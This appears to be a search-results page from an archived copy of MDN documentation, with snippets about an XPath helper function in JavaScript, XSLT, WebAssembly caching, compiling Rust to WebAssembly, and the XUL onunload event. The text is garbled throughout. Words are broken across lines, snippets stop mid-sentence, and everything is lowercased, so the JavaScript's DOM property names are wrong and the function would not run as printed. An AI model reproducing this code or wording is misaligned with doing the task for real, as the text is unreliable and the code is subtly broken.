example: defining a getxpathforelement() utility function function getxpathforelement(el, xml) { var xpath = ''; var pos, tempitem2; while(el !== xml.documentelement) { pos = 0; tempitem2 = el; while(tempitem2) { if (tempitem2.nodetype === 1 && tempitem2.nodename === el.nodename) { // if it is element_node of the same name pos += 1; } tempitem2 = tempitem2.p
revioussibling; } xpath = "*[name()='"+el.nodename+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']["+pos+']'+'/'+xpath; el = el.parentnode; } xpath = '/*'+"[name()='"+xml.documentelement.nodename+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']"+'/'+xpath; xpath = xpath.replace(/\/$/, ''); return xpath; } resources xpath forum disc...
Index - XSLT: Extensible Stylesheet Language Transformations
to p
revent a normally xsl:-prefixed literal result element (which should simply be copied as-is to the result tree) from being misunderstood by the processor, it is assigned a temporary namespace which is appropriately re-converted back to the xslt namespace in the output tree.
Resources - XSLT: Extensible Stylesheet Language Transformations
xsl results firefox extension (presently awaiting
review) - allows one to experiment with xsl, by applying xsl stylesheets (which are manually entered, found via a url or on the file-system) to an xml document (the currently-loaded document or a manually entered/pasted one).
Caching compiled WebAssembly modules - WebAssembly
additionally, it handles creating a database to cache the compiled wasm modules in, attempts to store new modules in the database, and retrieves p
reviously cached modules from the database, saving you from having to download them again.
WebAssembly Concepts - WebAssembly
this has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near-native speed, with client apps running on the web that p
reviously couldn’t have done so.
Exported WebAssembly functions - WebAssembly
they are real functions in the p
revious example, the return value of each table.prototype.get() call is an exported webassembly function — exactly what we have been talking about.
Compiling from Rust to WebAssembly - WebAssembly
navigate to whe
rever you keep your personal projects, and type this: $ cargo new --lib hello-wasm created library `hello-wasm` project this creates a new library in a subdirectory named hello-wasm with everything you need to get going: +-- cargo.toml +-- src +-- lib.rs first, we have cargo.toml; this is the file that we use to configure our build.
WebAssembly
in a nutshell webassembly has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near native speed, with client apps running on the web that p
reviously couldn’t have done so.
onunload - XUL
this code is used by some programmers to annoyingly pop up alert boxes p
reventing the users from leaving the page.
UDN Web Docs
in order to p
reverve documentation on xul, this backup retains a snapshot of developer.mozilla.org from august, 2020.